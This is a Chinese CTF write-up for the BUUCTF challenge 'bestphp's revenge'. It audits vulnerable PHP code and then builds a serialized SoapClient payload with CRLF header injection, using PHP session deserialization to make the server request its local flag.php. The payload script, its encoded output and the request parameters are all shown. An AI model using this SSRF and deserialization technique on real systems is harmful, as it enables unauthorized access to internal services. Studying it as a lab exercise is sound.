2.【BUUCTF】bestphp‘s revenge

进入题目页面如下

进行代码审计

php 复制代码
<?php
// 1. 高亮显示当前PHP文件的源代码,方便开发者查看代码内容,在生产环境中不应使用此函数,可能会导致代码泄露。
highlight_file(__FILE__);

// 2. 定义变量 $b ,其值为字符串 'implode' , implode 是PHP的一个内置函数,用于将数组元素连接成一个字符串。
$b = 'implode';

// 3. 通过 call_user_func 函数调用用户通过GET请求传入的函数名( $_GET['f'] ),并将POST请求的数据作为参数传递给该函数。
// call_user_func 函数会尝试调用指定名称的函数,并将后面的参数传递给该函数。
// 这里存在安全风险,因为用户可以通过GET请求传入任意函数名,可能导致任意代码执行。
call_user_func($_GET['f'], $_POST);

// 4. 启动一个新的会话或者恢复已有的会话,用于在多个页面之间存储和共享数据。
session_start();

// 5. 检查是否通过GET请求传入了 'name' 参数。
if (isset($_GET['name'])) {
    // 如果存在 'name' 参数,则将其值存储到会话变量 $_SESSION['name'] 中。
    $_SESSION['name'] = $_GET['name'];
}

// 6. 使用 var_dump 函数输出会话变量 $_SESSION 的详细信息,包括变量的类型和值。
var_dump($_SESSION);

// 7. 创建一个数组 $a ,数组的第一个元素是 $_SESSION 数组的第一个元素(通过 reset 函数获取),第二个元素是字符串 'welcome_to_the_lctf2018' 。
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');

// 8. 使用 call_user_func 函数调用 $b 变量所代表的函数(即 implode 函数),将数组 $a 中的元素连接成一个字符串。
// 但这里没有对连接后的字符串进行处理,所以连接后的结果没有被使用。
call_user_func($b, $a);
?>

任意代码执行漏洞

call_user_func($_GET['f'], $_POST);

这行代码允许通过 GET 请求传入任意函数名,并且将 POST 请求的数据作为参数传递给该函数。传入一些危险的函数名,如 system 、 exec 等,就可以执行任意系统命令

或者利用 session 反序列化漏洞

扫描根目录

发现很多文件,查看

flag.php 文件提示,只有 127.0.0.1 请求

这里没思路了,看了大佬的博客才跟着做下去

链接附上,bestphp's revenge[详解] - NPFS - 博客园感谢大佬

用f传参,传入session_start

看到大佬说session是可控的,通过传入name值

序列化

php 复制代码
<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
    'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",
    'uri' => "http://127.0.0.1/"));

$se = serialize($b);
echo "|".urlencode($se);

//注意下,这个脚本想要执行,需要将php.ini里的 php_soap.dll 前面的分号去掉

结果

|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

用burp suite抓包,传入

构造,传值f=extract&name=SoapClient

POST:b=call_user_func


SoapClient 是 PHP 中用于创建和管理 SOAP(Simple Object Access Protocol,简单对象访问协议)客户端的类。SOAP 是一种基于 XML 的协议,用于在不同的应用程序之间进行通信,通常用于 Web 服务的交互

SoapClient 类的构造函数有两个参数:

SoapClient::__construct([ string $wsdl [, array $options ]] )
  • $wsdl
    • 类型:字符串。
    • 描述:指定 WSDL(Web Services Description Language,Web 服务描述语言)文件的 URL。WSDL 文件是一个 XML 文件,它描述了 SOAP 服务的接口、方法、参数和返回值等信息。如果设置为 null,则需要在 $options 数组中手动指定服务的位置和命名空间。
  • $options
    • 类型:数组。
    • 描述:用于配置 SoapClient 对象的选项,常见的选项如下:
      • location:指定 SOAP 服务的实际 URL。
      • uri:指定 SOAP 服务的命名空间。
      • user_agent :指定 HTTP 请求头中的 User-Agent 字段。
      • loginpassword:用于 HTTP 基本认证的用户名和密码

SoapClient 类的 __doRequest 方法是一个魔术方法

主要用于自定义 SOAP 请求的发送过程

__doRequest 方法允许你拦截并自定义 SoapClient 发送的 SOAP 请求以及处理接收到的响应。当 SoapClient 需要发送一个 SOAP 请求时,它会检查是否定义了 __doRequest 方法,如果定义了,就会调用该方法来完成实际的请求发送和响应接收操作,而不是使用默认的请求机制。这为开发者提供了更大的灵活性,可以对请求和响应进行自定义处理,例如添加额外的 HTTP 头、修改请求数据、记录日志等。

  • 自定义请求头 :在某些情况下,你可能需要在请求中添加自定义的 HTTP 头信息,如认证信息、自定义标识等。使用 __doRequest 方法可以方便地在请求中添加这些头信息。
  • 请求和响应的日志记录 :为了调试或监控的目的,你可能需要记录所有发送的请求和接收到的响应。通过 __doRequest 方法,可以在发送请求和接收响应时记录相关信息。
  • 修改请求数据 :有时候,你可能需要对 SOAP 请求数据进行修改,例如加密请求数据、添加额外的参数等。__doRequest 方法允许你在发送请求之前对请求数据进行修改。
相关推荐
真正的醒悟25 分钟前
H3C交换机&路由器&防火墙FTP/TFTP服务器搭建。
服务器·网络·智能路由器
春生黎至100544 分钟前
路由基本配置
网络·智能路由器
Hacker_LaoYi1 小时前
x安全服务 y安全体系 z网络安全模型 网络安全体系设计
网络·安全·web安全
一ge科研小菜鸡2 小时前
DeepSeek 与网络安全:AI 在网络安全领域的应用与挑战
网络
渗透测试老鸟-九青3 小时前
HW面试经验分享 | 北京蓝中研判岗
网络·经验分享·安全·网络安全·面试·渗透·代码审计
shaoin_23 小时前
网络协议相关问题
网络·网络协议
LUCIAZZZ4 小时前
简单说一下什么是RPC
java·网络·网络协议·计算机网络·spring cloud·rpc
一勺菠萝丶4 小时前
计算机专业知识【深入理解子网中的特殊地址:为何 192.168.0.1 和 192.168.0.255 不能随意分配】
网络·智能路由器
s_fox_4 小时前
Nginx Embedded Variables 嵌入式变量解析(4)
java·网络·nginx
etcix5 小时前
实现一个简单的拉取网络todo app
网络